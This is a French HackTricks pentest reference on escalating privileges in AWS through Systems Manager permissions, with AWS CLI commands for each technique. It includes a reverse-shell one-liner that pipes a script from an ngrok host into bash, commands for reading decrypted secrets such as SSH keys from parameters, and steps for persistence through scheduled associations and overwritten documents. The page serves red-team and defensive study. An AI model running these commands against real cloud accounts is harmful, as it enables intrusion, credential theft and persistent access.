AWS - SSM Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

SSM

Pour plus d’informations sur SSM, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attaquant avec la permission ssm:SendCommand peut exécuter des commandes sur des instances exécutant Amazon SSM Agent et compromettre le IAM Role qui y est exécuté.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Si vous utilisez cette technique pour escalader les privilèges à l’intérieur d’une instance EC2 déjà compromise, vous pourriez simplement capturer le rev shell en local avec :

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impact potentiel : privesc direct vers les rôles IAM EC2 attachés aux instances en cours d’exécution avec des SSM Agents en cours d’exécution.

ssm:StartSession

Un attaquant avec la permission ssm:StartSession peut démarrer une session similaire à SSH dans des instances exécutant l’Amazon SSM Agent et compromettre le rôle IAM qui y fonctionne.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Afin de démarrer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impact potentiel : privesc direct vers les rôles IAM EC2 attachés aux instances en cours d’exécution avec des SSM Agents en cours d’exécution.

Privesc vers ECS

Lorsque les tâches ECS s’exécutent avec ExecuteCommand activé, les utilisateurs disposant de suffisamment de permissions peuvent utiliser ecs execute-command pour exécuter une commande à l’intérieur du conteneur.
Selon la documentation, cela se fait en créant un canal sécurisé entre l’appareil que vous utilisez pour lancer la commande “exec“ et le conteneur cible avec SSM Session Manager. (SSM Session Manager Plugin nécessaire pour que cela fonctionne)
Par conséquent, les utilisateurs ayant ssm:StartSession pourront obtenir un shell à l’intérieur des tâches ECS avec cette option activée en exécutant simplement :

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: privesc direct vers les rôles ECSIAM attachés aux tasks en cours d’exécution avec ExecuteCommand activé.

ssm:ResumeSession

Un attacker avec la permission ssm:ResumeSession peut redémarrer une session type SSH dans des instances exécutant Amazon SSM Agent avec un état de session SSM disconnected et compromettre le IAM Role qui s’exécute à l’intérieur.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impact potentiel : privesc directe vers les rôles IAM EC2 attachés aux instances en cours d’exécution avec des SSM Agents en cours d’exécution et des sessions déconnectées.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attaquant avec les permissions mentionnées pourra lister les paramètres SSM et les lire en clair. Dans ces paramètres, on peut souvent trouver des informations sensibles telles que des clés SSH ou des clés API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impact potentiel : Trouver des informations sensibles à l’intérieur des paramètres.

ssm:ListCommands

Un attaquant avec cette permission peut lister toutes les commands envoyées et, espérons-le, y trouver des informations sensibles.

aws ssm list-commands

Impact potentiel : Trouver des informations sensibles dans les lignes de commande.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaquant avec ces permissions peut lister toutes les commands envoyées et lire la sortie générée, en espérant y trouver des informations sensibles.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impact potentiel : Trouver des informations sensibles dans la sortie des lignes de commande.

Using ssm:CreateAssociation

Un attaquant avec la permission ssm:CreateAssociation peut créer une State Manager Association pour exécuter automatiquement des commandes sur des instances EC2 gérées par SSM. Ces associations peuvent être configurées pour s’exécuter à intervalle fixe, ce qui les rend adaptées à une persistance de type backdoor sans sessions interactives.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. Important: The --schedule-expression parameter (e.g., rate(30 minutes)) must respect AWS’s minimum interval of 30 minutes. For immediate or one-time execution, omit --schedule-expression entirely — the association will execute once after creation.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Un attacker disposant des permissions ssm:UpdateDocument et ssm:UpdateDocumentDefaultVersion peut escalader les privilèges en modifiant des documents existants. Cela permet aussi la persistance au sein de ce document. En pratique, l’attacker aurait aussi besoin de ssm:ListDocuments pour obtenir les noms des documents custom, et si l’attacker veut obfusquer son payload dans un document existant, ssm:GetDocument serait également nécessaire.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Ci-dessous se trouve un exemple de document qui peut être utilisé pour écraser un document existant. Vous voudrez vous assurer que le type de votre document correspond au type des documents cible afin d’éviter des problèmes lors de l’invocation. Le document ci-dessous, par exemple, inclura les exemples ssm:SendCommand et ssm:CreateAssociation.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Un attaquant disposant des permissions ssm:RegisterTaskWithMaintenanceWindow et ssm:RegisterTargetWithMaintenanceWindow peut élever ses privilèges en enregistrant d’abord un nouveau target avec une maintenance window existante, puis en enregistrant une nouvelle task. Cela permet l’exécution sur les targets existants, mais peut aussi permettre à un attaquant de compromettre du compute avec différents rôles en enregistrant de nouveaux targets. Cela permet également la persistance, car les tasks des maintenance windows sont exécutées à intervalle prédéfini lors de la création de la window. En pratique, l’attaquant aurait aussi besoin de ssm:DescribeMaintenanceWindows pour obtenir les IDs de la maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Vous pouvez aussi utiliser SSM pour entrer dans un projet codebuild en cours de build :

AWS - Codebuild Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks